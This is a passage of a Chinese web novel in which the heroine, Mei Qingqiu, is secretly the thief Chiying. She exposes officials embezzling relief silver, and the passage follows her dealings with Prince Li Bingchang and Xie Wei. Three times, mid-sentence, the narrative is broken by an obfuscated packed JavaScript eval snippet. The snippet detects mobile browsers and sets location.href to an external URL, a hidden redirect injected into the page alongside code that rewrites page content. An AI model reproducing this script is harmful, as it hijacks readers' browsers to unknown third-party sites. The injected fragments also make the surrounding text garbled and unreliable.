“我原本不姓梅。”她说，“但我今天做了舍弃自己本名的选择，我在蒙骗待我好的人。” 梅倾秋说得前言不搭后语，这简短的话她压抑了四年，不敢说不敢想。现下遇上个素未谋面的人，倒像够到了树洞的口子，便一股脑地发泄出来。 “我的养母很美很温柔，可是直到她去世的最后一刻我还在骗她。”她把脸埋进膝窝，声音随着肩背的抖动一颤一颤的。“她养育了我四年，现在到了天上发现我这般卑劣，肯定会讨厌我不喜欢我了。” “她闭上眼之前，有对你笑吗？” 梅倾秋抬眸点了点头。 “那她就不会责怪你的。我娘临死的时候让我骗她，因为她明知我过不上好日子，却还要我保证好好做人。你说，如果我连生存都做不到，怎么选择做好人还是坏人呢？” “那你先活下去。” “你几岁？” “十岁。” “我十四。赌庄门口的老汉告诉我：支撑一个人活下去的是名字。名字里隐藏了你的家世和文化，当今世上，有钱人家的公子小姐名字都好听，都有寓意，但穷乡僻壤的孩子们大多以山、花、家中排行老几来作名。等十年八年过去了，科举中第的名字都好听。他们活下去很简单。比我简单。” “你愿意跟我姓吗？” 男孩惊愕抬眼，见梅倾秋表情格外认真。他迟疑地问：“梅？” “不，卫。我把卫姓送给你。” 他收下了，未说如何起名，只说：“如果我可以活下去，我就来找你。” 经此一别，便是六年。 “你居然没立马认出这个。”谢卫提起原先充当剑穗的吉祥结。 梅倾秋笑着接过，道它太不像吉祥结了。她的女工向来不好，当时她身上只有这一个失败的功课，就着馒头和烤饼送给了他。 15. 第 15 章 朝廷拨给灾区的赈灾银出了差错，刚到临安县就被赤影抢了。 对此安州城内各种说法满天飞，往日称赤影是侠盗的人说他何必远洋捕捞，定是临安当地人借着赤影名号行盗。闻言临安难民不干了，说他赤影就是个偷百姓救命钱的小人。此外朝中官员却难得没有对赤影集中火力。 原因是赤影偷的数目不对。 赤影行盗，是待赈灾银到了临安县才盗的，还明目张胆地张贴在告示栏上，挑衅朝廷。称：十五万银我已收下。还附赈灾银的封条和箱内的通行条。足以说明他确实盗走了银两。如此数目便不对。 朝廷拨去赈灾银足足三十万两，到了临安县打了个对折？何故？内患贪污也。 严晁：“陛下！赤影狡猾多端，此番是故意造势，想让官员之间内讧，逼陛下掏空国库啊！” 梅穹：“运输赈灾银的是安抚使薛青，只需盘查运输人跟途经的休息点，何来内讧？” 严晁：“这就是赤影的诡计！他盗了又藏了，转头说少了，那谁去垫？众所周知赈灾银拨出时便紧贴封条，一路不得开封。现下凭赤影一行草字就诬陷了朝臣，凉了臣心岂非内乱？” 许朔：“忠心如此易乱，白花花的银两当前，又该如何？” （许朔是许骄松的父亲，严晁曾经的老师） “行了。”皇帝李瞻不耐烦道。 严晁正欲发力，瞬间收回迈了半步的脚，埋低头。 “临安县灾情至今一月有余，赈灾银却迟迟不到，方过城门又被都城养出来的贼抢了！诸位听着不心虚吗？” 当下并非上朝，而是六部尚书、宰相、太尉与皇帝关起门来商议。严晁自从贬职后是不够格参加的，是皇帝点名叫来的。 “陛下。”许朔开口，“臣认为应再拨赈灾银，同时严查第一批赈灾银的去向。” 李瞻深叹出一口气，命户部尚书拟办，再拨十五万两。又提起此次该谁运了。 梅穹：“臣认为还该薛青运。” “薛青？可是他刚失手给了赤影。” “所以他才了解赤影的攻击方式，城内对赤影无计可施，就是少有人能看见他的踪迹。” “行，那就让薛青！” 不知情的薛青正在严晁府中，从白天等到黑夜，已经急成热锅上的蚂蚁。要不是怕被有心人揣度，他恨不得驾马到宫门口去候。 脚步声随掌灯人踏进后院，薛青伸长脖子等严晁入门，没成想他伫立院中愣是不动弹。铁青着脸看那堵刷白的墙。赤影闯入府时就是翻的这堵墙，临走将他府兵杀剩两名，那墙上就曾烙印了府兵的血。 似是刷白了还不过瘾，严晁大嚷：“明天把这堵墙推了！” “是，老爷。” “你可算回来了！陛下如何定夺？” 薛青迎上前，严晁怒其不争看也不看他，擦肩而过在主位坐下。 “你怎偏偏就让赤影盗了呢！还让他直接把总数目贴了出来，这不明摆着中间有人动过手脚吗。” “那陛下是怀疑我了？” “暂未，我蒙混过去了。但许朔跟梅穹反复要求严查。并且第二波赈灾银还由你运。” 薛青大惊：“还由我运？我都败在赤影手上了。” “上次他在仓库劫的你，这次你就偷摸换个地做仓库。知会一声当地官员不就是了！打不过他就躲着他！” “说的是……” 薛青运赈灾银半道捞油水不止一次，却是首次栽了。这次他如何也不敢贪。得知朝内重臣都盯着他，薛青不得不硬着头皮继续走陆路，且仍在宁塘县停留。 细绵春雨蒙蒙斜飘，雨滴连连捶打大地，本就崎岖的山路愈加难行。泥土松软，载银两的车轮陷进去又沉又难推，总得耗上半晌时间才能移出车轱辘。一来二回就误了约定接头的时间。 为了确保避开赤影，薛青与临安县官员商量了个对策，对方到宁塘城门接应，双方一起护送到新仓库。 距离宁塘城门尚有两百米，一匹骏马急跃而来。马背上的人身披蓑衣，底下蓝衫可辨出乃县衙书吏服。 “吁——安抚使，我奉知县命令候你多时了。这是他托我一并带来的信条。” 男子跳下马，踏过雨坑呈给他塞信的竹管。 薛青从竹管里取出信，此竹管是绑在飞鸽脚上的，故而信条十分简短。只写：故地恐危，另寻为上。-严晁。 “严大人飞鸽传信到知县府的？” “是的。” 临出发时严晁确实托口信跟他确认过仓库。想来他是斟酌过后认为不妥，又追不上车队，才改为飞鸽传信。 雨势渐大，充当遮蔽的树叶被雨冲开，大滴雨珠直拍脑门。薛青问：“知县可寻到了新仓库？” 得到肯定回答后他命其前方带路。 约莫赶了三里路，车队停在一处大门紧闭的宅院前。 “此地是知县的私宅。” 书吏说罢推开大门，里屋隐约可见知县的背影。 随从下马卸箱，薛青大步迈进宅门。知县穿着官服站在厅堂中间，两侧各站两名捕快，阵仗如同升堂。 品阶相较，薛青远远高过知县，可其人却如此高傲不行礼。薛青心生不满，也不上前就站在大门前，装模做样地咳了两声。 身后忽而传来低吟与整齐的倒地声，当他鼻端嗅到蒙汗药味，猛地回头已经晚了，被书吏一掌打晕过去。等他醒来已是人去宅空。赈灾银又没了！ 下过雨的夜星朗月明，池塘里的青蛙跳上荷叶吃昆虫，岸边踱步的薛青就跟那青蛙极为相似，伸长脖子上蹿下跳。只是青蛙是捕食，他是要丢饭碗了。 连丢两次赈灾银，别说官职了，只怕头上这颗脑袋都得松动。 一个时辰前他给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147834|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严晁飞鸽传信，讲明起始，提议拿出私吞的赈灾银补这次的窟窿。他在严晁老家的庭院里迟迟等不到回信，急昏了头，只当对方是翻脸不认人了。 他气血上头，喊来随从去把私藏的银两全搬出来。上次贪的赈灾银原封不动，连封条都还在。他命人直接送到知县府上。 “严晁可以全身而退，我可得给自己寻生路。” 薛青绞尽脑汁，给自己找了条死路。 次日一早，这边赈灾银刚到位，那边赤影就已经将赈灾银堆在都城内的难民区了。 百姓就问了：“赈灾银都被赤影抢了，临安那还有银两？” 户部将两边数目一对，与国库拨出的数额相符。答案昭然若揭，临安那批银两是第一批被半道贪污的。被赤影逼得原形毕露了。都不用等到大理寺，薛青就把严晁拖下水了。 这下国库大出血，可被赤影送到了难民手中，更不可往回拿。皇帝震怒，终于忍受不了贪婪成性的严晁。 严晁、薛青当场杖毙，其家人流放云贵，族亲五代不得入朝为官。 襄王府内。许骄松对赤影赞不绝口，称其还真拔去了毒瘤。 “此话也就是在我这说。要是出了府遭人听去，恐怕你得背上共犯的罪名。”李秉昶道。 “哈哈哈，那我在百姓心里就成英雄了。” 赤影回回出现都是一阵血雨腥风，此番倒是朝中不少重臣也暗自认为他干得好，严晁历年来贪污营私，无所不作。不少人迫于他的势力行贿站队，如今是一朝落马，人人喊打了。 许骄松兴致高昂，李秉昶却心不在焉。只道其确实机智，且目的很明确，就是奔着贪污者去的。 雨丝滑落青竹，院中淅淅沥沥积起了浅坑，一双长靴碎步踩来，水花上溅涂抹靴面上残存的泥土。 “襄王。”傅雁站停在雨亭的台阶上，亭檐垂滴雨珠砸在他背上。“我调查过谢卫了。” “如何？”李秉昶招手示意他上前来。 傅雁禀报：谢卫自小父母双亡，十二岁就常受商户雇当打手。曾受一老妇施恩抚养，不过一年老妇就寿终正寝，其儿子不愿白养就把他卖给赌场，谢卫直接揭发他出老千，趁着赌场乱成一锅粥逃了出来。此后一直是无名游侠。听闻剑术了得。 李秉昶：“只是如此？” 那是哪一阶段与梅倾秋相识的？ 许骄松：“谢卫是何人？” 李秉昶想了想，道：“半路杀出来的程咬金。” “？” 那么赤影究竟是谁呢？ 时间回溯到薛青被击晕后。厅堂中心的人回过身，取下脸上面纱，是梅倾秋。 宁枝同是捕快装扮，让另外三人先去卸银两，准备运回都城。 “宁枝，你先留在这，他醒来肯定会给严晁传信，你劫下他的飞鸽。”梅倾秋道。 “是。” 16. 第 16 章 黛瓦衔雨，欲挂欲滴。日光透过树荫洒下，清浅雨坑浮现若隐若现的虹彩。 数日绵雨后终于回晴，梅倾秋方一驾马出府，就在拐口被拦了下来。准确说是差点撞上襄王。襄王驾马等在巷后，不语也不招呼，等马蹄声凑近了才蹿地蹦出来。深怕她远远瞧见会逃掉似的。 “襄王怎么不进府去？” “因为这次我是带着任务来找你。” “任务？” 梅倾秋往他身后看，那儿还停着辆马车。 锦布窗幔轻轻掀开，马车垂挂的红色灯笼也跟着晃悠。一张灵动可人的脸庞便探了出来，仰脸迎着阳光盛了满目的纷红骇绿。 梅倾秋讶异：“堇婳公主？” 马蹄笃笃敲打未晒透的雨坑，窗幔装裹少女们真切的攀谈。梅倾秋与李堇婳同坐马车内，李秉昶则担任护卫在外骑着马。 “我要出宫必须得有二哥陪着，不然出不来。”李堇婳解释道。对于何故来寻梅倾秋，她只道对宫中生活感到乏味，才向李秉昶打听此前宴会上的姑娘。 李堇婳五官长得过于乖巧可爱，圆杏眼总含有呼之欲出的笑意，‘动若脱兔’便似为她量身打造的词。故而梅倾秋也没多想就信了她。 其实此番出行是李秉昶所提，他主动挑拨妹妹的好奇心：“听闻昔日那位红衣姑娘是太尉千金。” “当真？我瞧她气质非凡便不是平民女子。” “你可想约见她？” 而后他便以陪伴妹妹的名义跟在了左右。 马车掠过熙攘重楼，四处较平日安静得多。梅倾秋拂起窗幔，就连小贩也忘了顾自己的摊位，伸脖探耳地往前边凑热闹。李秉昶靠近小窗，目视前方：“前边是赌庄，应是赌徒在争吵。” “那可要换个地儿？”她担忧堇婳公主。 “无碍，一会我问问。” 人群将街巷堵了个水泄不通，吵闹开端被团团围住。他们的马车恰好停在旁边的乐楼。待人都下了马，乐楼伙计上前来牵马。 “小哥，这旁争吵所为何事？”李秉昶问。 “害，赌庄嘛！左右就是些讨钱的事。” 梅倾秋迈上台阶，听了几声甚觉耳熟。她站上台阶仔细地瞧，在憧憧人影间看到了谢卫的身影，依旧一袭黑衫，单手抓着剑柄撑在地上，另一只手揪着人的衣领。 “那是谢卫。” 闻言李秉昶也站定朝那望，发现的确是谢卫。前回傅雁提过他曾给商贾当打手。 “赌庄老爷雇这个人去跟欠钱的人讨债，结果发现是这老爷骗了大家的钱，所以这侠客就反过来为那边做主了。”看了半晌的男子给他们解释。 “谢卫，你收钱不办事，还敢反过来咬我一口！” “你的肮脏钱小爷我不挣了，也要给这大哥讨个公道。” “给我上！” 谢卫一人单挑八名壮汉，仍是占了上风，奈何对方连败几人后就出了阴招，武器五花八门，其中长鞭乃皮革所制，绳头还嵌有细钉。当下谢卫一对四，被牢牢牵制住了。 “这太不公平了。”李堇婳转头看见梅倾秋蒙上面纱，作势就要上场。“倾秋，你会受伤的。” 李秉昶向来不愿给自己惹麻烦，特别还是与自己有过节的人，但为了阻止梅倾秋还是说了： “你别去，我去。” “不行，你的身份不适合在这种场面出现。借王爷的剑一用。” 说罢梅倾秋接过佩剑，腾空翻身，挡在谢卫面前。 “梅姑娘？”谢卫对她的出现极为惊讶。 梅倾秋转身与他背对背。“一打二比较有胜算吧。” 谢卫笑道：“是啊。” 此前李秉昶就见识过梅倾秋的轻功，舞剑却是第一次。梅穹擅长的武器是长枪，女儿却是使剑吗？ 只见其拧身剑翻，剑刃微挑，玄铁扭动变幻莫测。似虚亦实，犹如柔软的蛇。可当她使出招式又泛凌厉的寒光。剑法多变，丝毫辨不出破绽，用剑可谓咄咄逼人。 梅倾秋每回挥剑，手腕均会微微一振，以内力震动剑光，混淆敌人。这个手法与一人极为相似。招招致命，又皆会在半途变换剑锋。 拆招抽剑。李秉昶猛地想起，以前有人跟他提起过这个用剑方式，——“招中再套一招，让两套剑法相融衔接，随时拆招，抽剑，套招。你能熟记这个就不会被别人破解剑法了。”——曾为他授武的老师，卫霆。 “原来倾秋的剑法这么好！”李堇婳兴奋道。 “是啊。” 世上还能使出卫霆剑法的人，应只有他的女儿卫翎，可是她已经死了。李秉昶想。卫霆死去后，卫翎没有依旨被流放，而是以‘逃亡路上失足落水’的名义在通缉单上打了叉。 毫无意外，对面大败。谢卫替被骗的百姓要回钱财，被簇拥成了大侠。连公主李堇婳也对他坡有好感，主动邀他一起进乐楼听戏。殊不知对方与她兄长是水火不容，彼此看不惯。现下李秉昶的脸色已是铁青了，奈何他是借着‘陪妹妹’的藉口，只能强颜欢笑的接受。 室外艳阳高照，乐楼内却是昏暗难辨，除了戏台之上亮堂，台下各桌只点着一盏蜡烛。人多眼杂，梅倾秋一行人刻意避开人群，落座最角落的圆桌。 圆桌位置分别是梅倾秋、公主、襄王、谢卫，梅倾秋与谢卫之间还空了一个座位。 “谢大侠跟倾秋是儿时认识的？” “对，公……”谢卫收声，将公主的称谓改了：“小姐喊我谢卫就好，称大侠实在不敢当。” “儿时的倾秋身手就这么好吗？” 经过方才的舞剑出招，李堇婳已经真挚夸赞她好几回了。 谢卫毫不犹豫道：“她爬树很厉害。我初次见她就是在屋顶。” “爬树上去的屋顶？” “是啊，当时她才这么高。”谢卫稍微比划了一下。 听别人讨论自己实在很别扭，梅倾秋扯了扯谢卫的袖口，示意他别说自己的事了。这一举止也被对面襄王看在眼里。 “那谢卫你，就不曾想过当官吗？我看你身手不凡，过武举应是绰绰有余。” “这个，我确实不曾想过……” 谢卫不知为何突然看向梅倾秋，梅倾秋还以为他是不了解武举。便道：“武举除去考武艺还要考兵法，但于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147835|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你应该做得到。” “你也如此想？” “谢公子如能为我朝效力，那再好不过。”李秉昶双手抱胸接过话。 “能等王爷认可，在下还真是受宠若惊。” 两人同步扯起嘴角，露出僵硬的笑容。 “白入红出遍地红，月碎成片添悲戚。何故，何故啊！” 戏台之上铺红绸，一人卧地，一人持剑，持剑人行了凶却是连连后退。 “既心中有对方，又为何要杀？”李堇婳道。 戏腔声声如诉如泣，红帘布徐徐相合，遮住血泊中的身影。哀叹之人跨上另半张戏台，华服随急促鼓声翩翩起舞，不稍片刻便染上剑尖之残血。待下回登台，那人白衫叠套红摆，红晕随身姿摇曳，如同洒不尽的血。 这便是结局，是一出爱恨纠缠的悲剧。今日凑巧碰上这出戏，几人莫名其妙评价起了爱恨。 李堇婳：“我不行，我认为如果动了情就要抓住。” 李秉昶：“抓不住不就因爱生恨了？爱恨不休，恨止便是无尽伤悲。” 谢卫：“我倒觉得恨无法终止。” 梅倾秋不假思索地赞同谢卫。 “难道恨起的一刻就代表永远不会有爱？” 因公主说话时直视着谢卫，谢卫沉思道：“男女之情的话，爱恨相生，皆有可能。” 男女之情这四个字令公主红了脸，她后知后觉地意识到，面前人与自己相识不过一个半时辰。 走出乐楼已是黄昏，公主该回宫了。她提议顺道送梅倾秋一程，梅倾秋以有事要办婉拒了。 “你可要去药铺？”谢卫问。得了肯定答案又道：“那我跟你一道去，今日夜里睡不安稳，想抓些安神药。” “行，就隔三条街。” 两人向王爷公主辞别，便心大的转头走了，留下另外两个欲言又止的人。 “倾秋是太尉千金会参加太子妃选吧？太好了，那她就可以当我嫂嫂了！” 公主不知自己无意间的话刺了兄长一刀。提醒着李秉昶他的想法有多僭越。 “是啊。” 太子钟意她，她也愿意嫁。她会成为他的兄嫂。 梅倾秋对他而言依然像一个谜，他读不懂她，又确信她不爱他。暗生闷气的襄王用轻功上了自己家屋顶，顺带提了一壶酒。许骄松到襄王府找了半天才找到他。 “今日怎么这么有闲情逸致。”许骄松在下面朝他喊。 金黄余晖过渡为千灯万烛，弦月正挂，将天地万物笼罩其中，分外安详。清风将酒气吹至鼻端，喉咙馋那醉香了，壶口便往嘴里倾泻而下。 “原来爱而不得是这个滋味。” 刚于屋脊坐稳的许骄松险些滑落，还以为自己听岔了。 “能让你襄王发出如此愁绪，得是怎样的奇女子？当今世上，王爷想要美人还不简单？不过是一挥手的事，遇上显赫名门的左右一道圣旨也可摆平。” “正因她无法拒绝，此计才不可行。” 以王爷身份施压，要一个人固然简单，偏偏他要的是她的情愿。而不是以权力掌控她的心跳，得到失声的躯体。 17. 第 17 章 华灯初上，万盏明烛缀映重楼，光彩熠熠灼晕水面。灯市上已是人流如织，花灯数目还要倍之。人影稍一远去就会陷入灯火之中，团团烛光将其簇拥。 只因他走得缓慢，消失在她眼中的时间便也缓慢。她对他今日行为感到费解。 “一个人反复无常是为什么？”梅倾秋问。 宁枝往远去之人看，反问：“襄王？你与他变亲近了？” “不，也不是。” 又或许，是变亲近了。梅倾秋说不准，襄王忽而献殷勤是图什么，此时莫名离去又是什么原因。 三个时辰前。 梅倾秋单人匹马，在山路尽头遇到了山匪，那人自称赤影。身着黑衫，背扛双剑，面具遮脸。驭马横在她面前，让交过路费。 冒用赤影的身份抢劫，还偏偏抢到了本人头上，梅倾秋真是要气笑了。她的苦笑被他视为狂妄，他倏地从背上拔出一剑，直指梅倾秋。 “赤影不是不劫百姓吗？” “你也不是百姓啊。”假赤影用剑上下比划她的穿着，“这身打扮定是哪家大户小姐，绑了你自然有不少赎金。” “下马！” 见梅倾秋不动弹，他拖拽缰绳就往前冲，剑尖朝天，随距离缩减斜砍下来。只见她摹地抬眼，眸中狠戾瞬间令他手指僵硬。仿佛那是结束冬眠的猛兽，轻轻弹指就能将他啃食。 假赤影慌张勒住马绳，与她仅有两跨马步，见她仍无所动，心中一宽自觉多心，再次提剑朝她身下的马足砍去。 小白马嘶鸣一声前足跃起，梅倾秋拉紧缰绳转了个圈，来到假赤影右面，就势从他背上拔出一剑，以剑面拍击马臀。马儿受了惊绷着劲左右摆动，假赤影整个人俯趴在马背上，摇晃间摔下了马。 梅倾秋将剑扔在他身边，看他至多十四、五岁，无再追究，只道：“不要冒用赤影的名号了。” 马蹄渐入矮草，身后尖叫声便追了上来，再次挡住了她的去路。 “少年，你执意如此我就抓你见官了。” “那你倒是试试，方才只是你好运！” 说罢他两腿夹住马身，双手持剑，气势汹汹。 梅倾秋知道不能息事宁人了，她右手方扯出短刀，一阵刀锋割破杂草的冲击堆聚成刺耳声响，假赤影的马儿被飞镖划伤屈膝而倒，假赤影再次从马上摔下来。 他捂着受到撞击的手臂大骂，回身去望，两匹马不急不忙地在他身前停下。来人是襄王和他的随从。 襄王李秉昶瞧了梅倾秋一眼，确认她并无受伤，低头看双剑一前一后防御的蒙面男子。 “你是哪来的山匪，光天化日下抢劫。” “山匪？哼，小爷我可是赤影！” “你是赤影？” 李秉昶垂眸上下打量他，似乎真有三分相信。而后兴致勃勃道：“那我来会会你。” 长剑出鞘，他腾空翻了个身站在假赤影面前。反手持剑，向假赤影挑衅地勾了勾手指头。 假赤影气急，助跑几步猛地跃上半空，自上而下朝李秉昶的头砍，却被他微微欠身躲了过去。李秉昶反擒住假赤影的手腕，肘击其后脖，又一抬脚将他踩在草地上。单手压制，连剑都没机会出场。 “就你这身手，如果你是赤影，刑部也不用数月挨批了。你还不够格。” 就凭赤影反复将官府耍得团团转，李秉昶私底下是认可赤影能力的，只是他自己也没想到，赤影本人就在后面听着。 随从傅雁被打发押走假赤影，诺大草原便只剩梅倾秋与李秉昶了。她本没其他想法，是李秉昶欲言又止的眼神令气氛显得古怪。 “谢过王爷搭救。”她下马答谢。 李秉昶笑道：“没有我你也能全身而退吧。” “还是多亏了王爷。” 李秉昶仍未将剑插回，似乎方才白起了劲，现下甚感遗憾，便将心思投向了梅倾秋。提起数月前的切磋之约。 那约着实过了太久，是搭救竺月那天随口应下的。 “今日我身上只有一把短刀。” 梅倾秋刚掏出短刀，李秉昶就笑着摆了摆头，将手里的剑扔给她，自己以剑鞘作剑。 “这……”她迟疑不定。 “怎么，你认为可以轻易赢我？” “岂敢。那还请王爷手下留情。” 二人微微颔首作开打前的礼数，李秉昶轻抬手示意她先请。 梅倾秋挥剑向前，李秉昶移步到她身后，剑刃偏离又瞬间回刺，他身体后仰从剑下滑过。方一站定，剑锋又紧追不舍地跟了上来，他被压得节节后退。最后忽地站稳，抓住梅倾秋持剑的手，飞身从她头顶翻过，她的右手被拉着环至左肩，李秉昶紧贴在她背上。 她右手扔出剑，左手便迅速抓住。梅倾秋再反握住李秉昶的手绕过头顶，转身挥剑朝他颈部。李秉昶挣脱手腕桎梏，脚尖点地整个人漂移旋转了半圈。 “王爷可要换成剑？” 李秉昶站稳回首，微微偏头露出难以置信的微笑。此话在他听来等同于质疑他的能力。他轻挑剑鞘改成握剑的手势，鞘尖拍低朝他而来的剑刃，人却挨着她后背平移，在她耳旁答：“无妨，梅小姐。” 左手没来得及收回就被擒住，李秉昶使劲一拉与她面对面，她挥剑他就用剑鞘挡，她用轻功翻身他也跟着翻身，就是不肯她抽手走。 几番辗转决不出胜负，却是短刀从她袖口溜出，打在他鞋尖上。他笑称败了。 “如不是刀鞘未开，等刀尖穿过鞋中，本王就残了。”他补充道。 这个决胜方式未免过于儿戏。梅倾秋想。但可以确定他始终没使出全力。 “承让了，王爷。” 临别之际，杏橘色云层已悄悄铺满天，金光漫洒四野，草尖泛黄轻轻飘荡。李秉昶道了别又蓦然回首。道：“你可还记得欠我的人情？” 梅倾秋稍加思索，想他指的是他帮她约见卡拉的时候。便点了点头。 “王爷需要我做什么？” “今晚赏灯去吧。” “赏灯？” 李秉昶留给她思考时间，心情很好地拍了拍马，喂两匹马吃干草。 “为何要赏灯？” 上元节已过，他所提赏灯并非节日使然，指的不过是安州夜里常有的灯市。 “你不想游灯市的话，那游船？” “？” 梅倾秋有片刻是呆滞的，回过神来也没有完全消化他的意思。这个意思是此举为的是她，行何事只是借口？为何？ “……都可。” 李秉昶满意地笑了：“那戌时在灯市见。” “……行。” 故而，梅倾秋人来是来了，却如置云里雾中。 灯火十里通明，各样花灯铺盖街坊，晚风微垂，灯笼便挟着金光颤悠悠幌动。直令人眼花缭乱。 梅倾秋独自于一排排灯影中穿梭，窄巷内的灯笼挂得低，灯穗总随风跃拍她额角，梅倾秋便只能用手去撩，低身穿过。 巷口对面墙上悬挂整架的走马灯，六面笼纸绘制不同人物图案，经灯轴转动辉映出流光溢彩的美象。梅倾秋立足走马灯之下，仰脸观望，灯屏剪纸贴着她的脸徐徐闪烁。 “小姐。” 梅倾秋依声回眸，面前站着一名身穿褐色锦衣的男子，看衣着面貌不是富二代便是官家公子。 “小姐独身逛灯市？那乏味得很，小生伴小姐一程。” “不必了。” “我有好玩意就在茶楼里。” 梅倾秋转身欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147836|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走又被挡住，其人手持花灯，依着她的走势来回转。嘴上还念念有词：“路昏难辨，小生为小姐掌灯。小姐是何家千金？我乃城南徐家的长子，你可能听过我的名字。” “没听过。” 恰逢对面人流而至，梅倾秋寻机溜进其中。她懒得搭理那人，只想早些甩掉。不料如何也甩不掉，到了宽敞地竟抬手搭上她的肩，五爪施力。 梅倾秋挥手挣开，正欲发作，一道疾影自眼前掠过，擒住男子手腕反折于后。腕间骨头咔嗒作响，男子哀声叫唤。李秉昶抬脚踹入男子腘窝，男子屈膝跪地。 “王爷……” 徐家公子本来面目狰狞蓄力诟骂，听说擒住他的人是王爷瞬间发蔫，只能仰视身后人卑微求饶，不时向梅倾秋投来求助的目光。 李秉昶：“我也没听过你的名字，说来听听。” “王爷，我……啊啊疼，我说我说……小生徐在阶。” “徐在阶。行，我记住你了。” “王爷，我无意冒犯你和小姐，我……” “如果我下回还瞧见你骚扰人家，当心你的爪子！” “是是是……” 男子抽了手一瘸一拐，跌跌撞撞地涌入人流之间。 李秉昶朝她走来，双眉微蹙，还轻轻叹了一声。 “王爷今日相救我两回了。” “你想大事化小，但有人就逮着你这心思为非作歹。” 梅倾秋笑了笑，“说的是。” “你没受伤吗？”过去半晌后他又问。 “没受伤。” 今日的襄王很古怪。目光频频聚焦在她脸上，又在接触一瞬慌张躲闪，似乎受了何种指点，刻意想与她拉近关系。双唇微启又徒咽一口寒气。 她分外好奇，令他难以启齿的是何等事情。或许…… “啊……” 梅倾秋毫无防备地被一人揽入怀中。马车轱辘急慌慌地滚动，挂笼跟着马车咿呀叫，旁人责怨车夫怎这般驭车。李秉昶背倚灯架，两手各抓着她的手腕和胳膊，面露不悦地盯着马车远去。 “马匹在窄巷中穿梭太危险了，巡街使明明得到指令需要限制的。” 梅倾秋抬眸听他说话，较眼睛最近的是隆起的喉结，微微搁在衣领之上，当他向下垂眸，喉结便知趣地稍隐入衣领。 “人流密集之地容易冲撞。”她看着他的眼睛接话。 灯架于他之后摇曳生姿，盏盏烛光簇拥着他脸周发散，她瞧见的他只是借明灯产生耀眼光辉，就已令人一时失神。 殊不知他看见的她是满目藏光，敛尽星河。更令人流连忘返。 “撞上人就不好了。”亏他还记得接话，手上力度却是一寸不松。 先回过神来的人轻扯了扯手，李秉昶才连忙松开，挥袖东张西望，虚咳了两声。 “买盏缀珠灯吧。” 说罢梅倾秋穿过人群往岸边走。 “嗯，行，好。” 李秉昶支支吾吾地跟上。 缀珠灯，笼面镶满了珠子，经笼内烛火照耀出熠熠闪光的色彩，珠子也由内而外散发透亮。 梅倾秋提高缀珠灯，珠影便一摇一摆地映在她身上。她朝他匆匆一瞥，道：“好看吧！” ——好看吧！ 女童手持缀珠灯，仰起的小脸如雪花般白皙，双眼如湖阳般明澈，颧骨由淡淡红晕点燃。她将目光从缀珠灯转移到他脸上，道：“我叫卫翎。” 卫翎。 “怎么了？”梅倾秋靠近观察他，抬手在他眼前挥了挥，“王爷可是身体不适？” 他余光瞧见宁枝挤过人群走来，知她有友人照应了，便就势告辞。 “一个人反复无常是为什么？”待宁枝走近身旁，梅倾秋问道。 18. 第 18 章 轻烟袅袅，禅香环鼻，药铺内徐徐发散着药材熬制的苦气，二三老丈边等边话家常，竺月在柜台后依药单抓药。 梅倾秋与宁枝移步里间，宁枝将雕花镂空的屏风拉开，绕身回来交给她一张纸条。 「假道士东窗事发，存银票两百张，暂封官府，三日后随珍宝移至国库。」 “听闻假道士是被一位商人识破告上县衙，原行以杖责再罚银两就是了，知县却扣了他半个月，将他家中库银全翻了出来，尽数充公。”宁枝道。 “国库刚损三十万，定是要逮一肥头宰回来的。” “那这两百张银票……” “我去代皇帝取。” “梅姑娘——”是谢卫的声音。 梅倾秋将纸条回折揣入袖，透过镂空的花雕屏风瞧见谢卫的侧影，怀剑于胸，肩靠门框。宁枝推开屏风，梅倾秋走出里间到谢卫面前。 “谢公子。” 谢卫松开交叉胸前的手，面向她支吾其词，不时瞥向一旁的宁枝。见状她道：“到外面说话吧。” 穿过缭绕满屋的药香薄烟，屋外充盈着煎茶清香与烙饼焦味。阳光盛洒大地与脸颊，迈出门外忽见猛日，令人眼皮直打架。 “谢公子……” “你叫我谢卫吧！”他打断她，“喊公子显得生疏得很。” “好，谢卫。” 谢卫深呼出一口气，正色道：“我决定去参加武举了。” “当真？那太好了，祝你金榜题名！” “我会让你另眼相看的，你瞧好了。” 梅倾秋惊讶之余掩唇笑了笑，道：“等你得了武状元，我们为你举宴庆贺。” “我一定会做到，然后回来！”他再次坚定道。而后便策马离去。颇有六年前告别之意。彼时他也是定下一个目标，道完成就回来见她。 另一道身影与他擦肩而过，重停在了药铺门口，喊住梅倾秋：“姑娘。” 梅倾秋闻声回首，认出此人乃有过一面之缘的许骄松，宰相独子，总与李秉昶形影不离。 “许公子。” 